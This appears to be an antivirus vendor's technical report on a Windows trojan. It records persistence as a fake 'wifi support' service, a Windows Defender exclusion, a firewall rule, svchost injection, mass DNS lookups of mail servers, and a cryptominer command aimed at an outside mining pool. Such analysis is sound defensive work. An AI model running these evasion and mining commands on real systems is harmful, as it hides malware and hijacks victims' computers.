Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\lamlllme] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\lamlllme] 'ImagePath' = '%WINDIR%\SysWOW64\lamlllme\wnvtdyft.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\lamlllme] 'ImagePath' = '%WINDIR%\SysWOW64\lamlllme\wnvtdyft.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\lamlllme' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\wnvtdyft.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\wnvtdyft.exe to %WINDIR%\syswow64\lamlllme\wnvtdyft.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK hw##horn.de
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK hw##f.com
- DNS ASK mx#.##aroutes.com
- DNS ASK tr#####eldworley.co.nz
- DNS ASK ti##ali.it
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK a1.net
- DNS ASK mx##.aon.at
- DNS ASK ch##ter.net
- DNS ASK mx#.#harter.net
- DNS ASK ko#.net
- DNS ASK bu###abs.com
- DNS ASK kr######x1.worksmobile.com
- DNS ASK mx#.gmx.com
- DNS ASK nt###rld.com
- DNS ASK gr###iti.net
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK be###outh.net
- DNS ASK hw#.co.uk
- DNS ASK ke###.com.sg
- DNS ASK ma##.#enko.com.sg
- DNS ASK 01#.net.il
- DNS ASK mx##.012.net.il
- DNS ASK google.com
- DNS ASK hw#.fi
- DNS ASK da##m.net
- DNS ASK ha##i.co.nz
- DNS ASK ma####an.nebula.fi
- DNS ASK ti#.it
- DNS ASK sm##.tin.it
- DNS ASK pe###epc.com
- DNS ASK vi##ilio.it
- DNS ASK sm####n.virgilio.it
- DNS ASK xt##.co.nz
- DNS ASK mx.##ra.co.nz
- DNS ASK sm####.laposte.net
- DNS ASK ea###link.net
- DNS ASK mt##.org
- DNS ASK mx.#tia.org
- DNS ASK hw####sulting.com
- DNS ASK ya##o.co.uk
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ge##co.com
- DNS ASK co####.gefico.com
- DNS ASK ur##web.ru
- DNS ASK ma##.uralweb.ru
- DNS ASK ya###.com.ar
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ju##.com
- DNS ASK la##ste.net
- DNS ASK mx.##a.untd.com
- DNS ASK hv####oring.co.uk
- DNS ASK ik#.fi
- DNS ASK ma###.iki.fi
- DNS ASK vi###water.gr
- DNS ASK mx#.#tenet.gr
- DNS ASK ne###ape.net
- DNS ASK an###ankoski.fi
- DNS ASK mt#.bnet.cn
- DNS ASK ib###atyna.com
- DNS ASK pu#.##.jsinfo.net
- DNS ASK fo###.#irtualhosting.hk
- DNS ASK mx####.concentric.com
- DNS ASK ko##a.net
- DNS ASK an####am.korea.kr
- DNS ASK mu###ystools.ca
- DNS ASK mx###.##llcanadahosting.com
- DNS ASK ib####aft.com.br
- DNS ASK a.##.##erkraft.com.br
- DNS ASK ni###.com.hk
- DNS ASK sa###pintex.com
- DNS ASK fi####orizon.com
- DNS ASK hw##un.net
- DNS ASK ph#####herapie-roehl.de
- DNS ASK ma##.####iotherapie-roehl.de
- DNS ASK po###a.onet.pl
- DNS ASK mx.###zta.onet.pl
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK ig#.apc.org
- DNS ASK ma#######.firsttennessee.com
- DNS ASK va########enkiinteistopalvelu.fi
- DNS ASK mx#.##rthlink.net
- DNS ASK si##n.dk
- DNS ASK pr###gy.net.mx
- DNS ASK pu######2.mail2world.com
- DNS ASK do##il.net
- DNS ASK pa####x.above.com
- DNS ASK vs##.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK we##v.net
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK lg#.com
- DNS ASK lg###tp.lge.com
- DNS ASK na##.com
- DNS ASK mx#.#ate.com
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK fr###omland.it
- DNS ASK sm####n.eutelia.it
- DNS ASK mx#.#ypnosys.de
- DNS ASK hy##osys.de
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK hy######rapy-for-life.co.uk
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx#.###udhosting.co.uk
- DNS ASK go###ople.com
- DNS ASK ms#.#inet.net
- DNS ASK ti###linet.it
- DNS ASK mi####.bittubeapp.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ly##s.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK co#.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK et###.#ail.tiscali.it
- DNS ASK it##ne.it
- DNS ASK ma##.itline.it
- DNS ASK ch###mfm.com
- DNS ASK mx##.mail.com
- DNS ASK te###quebec.com
- DNS ASK do####.nssi.telus.com
- DNS ASK do#####andomizer.com
- DNS ASK gm#.net
- DNS ASK mx##.#mig.gmx.net
- DNS ASK ka#####utplastik.com
- DNS ASK ma##.###abulutplastik.com
- DNS ASK mx##.#andomain.dk
- DNS ASK ev#.net
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK ih#.org.nz
- DNS ASK mx#.##curemx.biz
- DNS ASK ka#####utsigorta.com
- DNS ASK ma##.###abulutsigorta.com
- DNS ASK ka##car.net
- DNS ASK tr##enet.it
- DNS ASK ma##.com
- DNS ASK ms##.hinet.net
- DNS ASK mx#.##martcloud.com
- DNS ASK sm##.##cureserver.net
- DNS ASK da##.net
- DNS ASK co##ast.net
- DNS ASK mx#.#omcast.net
- DNS ASK dm##.com
- DNS ASK ma###.##mebrightmail.com
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK dc##0.com
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK ASPMX.L.GOOGLE.com
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ez###tech.com
- DNS ASK mx.####ramwireless.com
- DNS ASK fl###tline.com
- DNS ASK mo######l.flightline.com
- DNS ASK dm###ord.com
- DNS ASK ma##.#mumford.com
- DNS ASK ib##nc.com
- DNS ASK do###rrae.co.uk
- DNS ASK rh#.fi
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\lamlllme\wnvtdyft.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lamlllme\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wnvtdyft.exe" %WINDIR%\SysWOW64\lamlllme\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create lamlllme binPath= "%WINDIR%\SysWOW64\lamlllme\wnvtdyft.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description lamlllme "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start lamlllme' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\lamlllme\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wnvtdyft.exe" %WINDIR%\SysWOW64\lamlllme\
- '%WINDIR%\syswow64\sc.exe' create lamlllme binPath= "%WINDIR%\SysWOW64\lamlllme\wnvtdyft.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description lamlllme "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start lamlllme
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs4msiPiHNGTd5uzvZ9AGM1tjQoTiEX9BXopJg5er3ebEQ8a8mcwkjP5jNwst8rmVSRuogLs18DAVQzV76oHkVBk27idvmtUp.60000 -p x -k
